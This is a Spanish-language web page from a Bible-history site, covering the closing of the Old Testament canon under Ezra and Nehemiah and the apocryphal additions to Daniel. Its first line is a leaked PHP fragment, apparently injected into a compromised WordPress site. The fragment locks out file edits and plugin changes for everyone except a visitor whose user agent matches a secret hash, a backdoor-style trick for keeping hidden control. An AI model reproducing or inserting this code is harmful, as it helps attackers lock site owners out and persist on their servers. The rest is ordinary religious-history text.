if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } destrucción – Texto Bíblico

En el tiempo de Esdras-Nehemías

 HISTORIA DEL CANON BÍBLICO

I – ANTIGUO TESTAMENTO

FRAGMENTOS DE SEFER TORAH – Éxodo 4:18 a 11:10. Calahorra o Tudela, ss. XIV-XV. Dos fragmentos de piel.800 x 600 mm aprox. cada uno. Calahorra, Archivo Catedralicio y Diocesano de Calahorra y La Calzada.

En el tiempo de Esdras-Nehemías

En los libros del Antiguo Testamento que fueron escritos después del exilio, tales como los de Esdras y Nehemías, se hace referencia, ya sea por nombre o por alguna cita, a varios de los libros más antiguos de la Biblia.

También se habla de ciertos libros que han sido incorporados parcialmente a los libros de las Escrituras posteriores al exilio, o se han perdido.

Los 5 libros de Moisés – bajo los nombres de “libros de Moisés”, “ley de Jehová”, “libro de la ley de Jehová”, etc.- aparecen mencionados 7 veces en 1 y 2 de Crónicas; 17 veces en Esdras y Nehemías y una vez en Malaquías.

Que el libro de la ley (torah) era considerado como inspirado y “canónico” en el siglo V a. C., se ve por la gran reverencia que mostraba el pueblo cuando era abierto el libro (Nehemías 8:5, 6). Parecería que la expresión “libro de la ley” (torah) abarcara más que el “Pentateuco”, pues el mismo término es usado una vez por Jesús al referirse a los Salmos, cuando introduce citas de Salmos 35: 19 y 69: 4 con las palabras: “escrita en su ley” (Juan 15:25).

Muchos libros de origen anterior al exilio sobrevivieron a la destrucción de Jerusalén y al cautiverio de Babilonia. Esto se ve porque Daniel usó el libro de Jeremías durante el exilio de Babilonia (Daniel 9:2) y porque unos 20 libros diferentes se mencionan en los libros de Crónicas ya sea como habiendo proporcionado el material original para el contenido de esa obra, o como libros donde podía conseguirse información adicional acerca de muchos puntos que sólo fueron tocados superficialmente en las Crónicas.

El cronista posterior al exilio (2 Crónicas 36:22) se refirió a muchos libros, tales como “el libro de las crónicas de Samuel vidente” (1 Crónicas 29:29) las “crónicas” o “libros del profeta Natán” (1 Crónicas 29:29; 2 Crónicas 9: 29) y “la historia de lado profeta” (2 Crónicas 13: 22).

La tradición judía indica que Esdras y Nehemías tuvieron una parte evidente en la colección de los libros sagrados.

El apócrifo segundo libro de los Macabeos, escrito durante los comienzos del siglo I AC, contiene una carta supuestamente escrita por los judíos palestinos y Judas Macabeo al filósofo, judío Aristóbulo y a otros judíos de Egipto (2 Mac. 1:10). Esta carta se refiere a “los archivos y … Memorias del tiempo de Nehemías” y declara también que Nehemías fundó “una biblioteca” y “reunió los libros referentes a los reyes y a los profetas, los de David” (2 Macabeos 2:13, traducción de la BJ).

El historiador judío Josefo es otro escritor que coloca la terminación del canon del Antiguo Testamento en el tiempo de Esdras y Nehemías. Poco después de la caída de Jerusalén, en 70 DC, Josefo hizo la siguiente declaración importante:

“Desde el imperio de Artajerjes hasta nuestra época, todos los sucesos se han puesto por escrito; pero no merecen tanta autoridad y fe como los libros mencionados anteriormente, pues ya no hubo una sucesión exacta de profetas. Esto evidencia por qué tenemos en tanta veneración a nuestros libros. A pesar de los siglos transcurridos, nadie se ha atrevido a agregarles nada, o quitarles o cambiarles” (Josefo, Contra Apión, i. 8)

Esta declaración muestra que los judíos en el tiempo de Cristo estaban convencidos de que el canon había sido fijado en el tiempo de Esdras y Nehemías, que trabajaron bajo Artajerjes I.

Los judíos estaban mal dispuestos a anular esa decisión, o a añadir a las Escrituras tales como habían sido fijadas 500 años antes, especialmente porque nadie claramente reconocido como profeta se había levantado desde los días de Malaquías.

La importante declaración de Josefo concuerda bien con las observaciones que puede hacer el lector cuidadoso en el mismo Antiguo Testamento. Los últimos libros históricos – Crónicas, Esdras, Nehemías y Ester -, por ejemplo, consignan la historia de Israel hasta el período que sigue al exilio.

Las Crónicas y su continuación, Esdras-Nehemías, registran acontecimientos que sucedieron durante los siglos VI y V, pero no después.

Por lo tanto, la redacción del Antiguo Testamento, tal como lo conocemos ahora, se debe haber completado hacia el fin del siglo V AC, pues la continuación posterior de la historia no fue añadida al registro anterior. Ni aun se preservó junto con las Escrituras canónicas. Por consiguiente, debe haber estado cerrado el canon.

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LA HISTORIA DEL CANON DEL BÍBLICO

I – ANTIGUO TESTAMENTO

Introducción

El canon

División antigua y moderna del Antiguo Testamento

Antes del exilio en Babilonia

En el tiempo de Esdras-Nehemías

Entre Nehemías y los Macabeos

Desde los Macabeos hasta Cristo

El testimonio de Cristo y los apóstoles

Testimonios de judíos del primer siglo

En la iglesia cristiana primitiva

La iglesia católica y los apócrifos

Criterios protestantes acerca del canon

Resumen

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Añadiduras a Daniel

Los Apócrifos

Añadiduras a Daniel

En la LXX hay varias añadiduras al libro canónico de Daniel, y son: el “Cántico de los tres jóvenes”, la “Historia de Susana” y la “Historia de la destrucción de Bel y el dragón”.

El “Cántico de los tres jóvenes” consta de dos partes principales. La primera es una oración atribuida a Azarías (es decir, Abed-nego) mientras caminaba en el “horno de fuego ardiendo” (cf. Daniel 3:19-25); la segunda es un canto de alabanza atribuido – sin base alguna – por el autor anónimo a los tres hebreos mientras estaban en el horno, y que se parece mucho al Salmo 148.

En la “Historia de Susana” se narra que dos jueces judíos vieron a una bella y virtuosa mujer, Susana, que se bañaba en su jardín, y se enamoraron de ella. Cuando ella rechazó sus proposiciones, ellos, en venganza, la hicieron comparecer ante un tribunal donde la acusaron falsamente de adulterio. Susana fue condenada a muerte; pero cuando se encaminaba al lugar de su ejecución, la encontró Daniel, y éste pidió que se examinara de nuevo el juicio. Daniel interrogó por separado a los dos jueces, y demostró la inocencia de Susana debido a las contradicciones de ellos. Los dos fueron ejecutados y Daniel fue muy ensalzado.

Susana

La “Historia de la destrucción de Bel y el dragón” consta de dos relatos. En el primero, como en el caso de Susana, se alaba a Daniel por haber demostrado un engaño. Cuenta cómo él puso en evidencia que un ídolo del dios babilonio Bel (Marduk) no comía alimento alguno como se pensaba que lo hacía. Esparció ceniza en el piso del santuario de Bel, y demostró a la mañana siguiente – por las huellas de pisadas en la ceniza – que los sacerdotes habían entrado en el templo del ídolo por la noche y se habían comido el alimento dedicado al ídolo. Entonces el rey mandó matar a los sacerdotes e hizo destruir el templo.

El segundo relato habla de la forma en que Daniel aniquiló a una serpiente (dragón) que era adorada por los babilonios. Le dio a comer una mezcla de brea, grasa y pelos que hizo que la serpiente reventara y muriera. Como venganza, el pueblo de Babilonia arrojó a Daniel en un foso de leones, pero las fieras no le hicieron daño, y el profeta Habacuc le trajo alimento, el cual fue transportado milagrosamente por el aire, desde Judea, por un ángel. Tan impresionado quedó el rey ante estos milagros, que liberó a Daniel y aniquiló a sus perseguidores.

Los eruditos católicos y protestantes están de acuerdo en que estas añadiduras originalmente no formaban parte del libro canónico de Daniel.

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Apócrifos – Introducción
Primero de Esdras
Tobías
Judit
Añadiduras a Ester
Sabiduría
Eclesiástico
Baruc
Epístola de Jeremías
Añadiduras a Daniel
Oración de Manasés
Primero de los Macabeos
Segundo de los Macabeos

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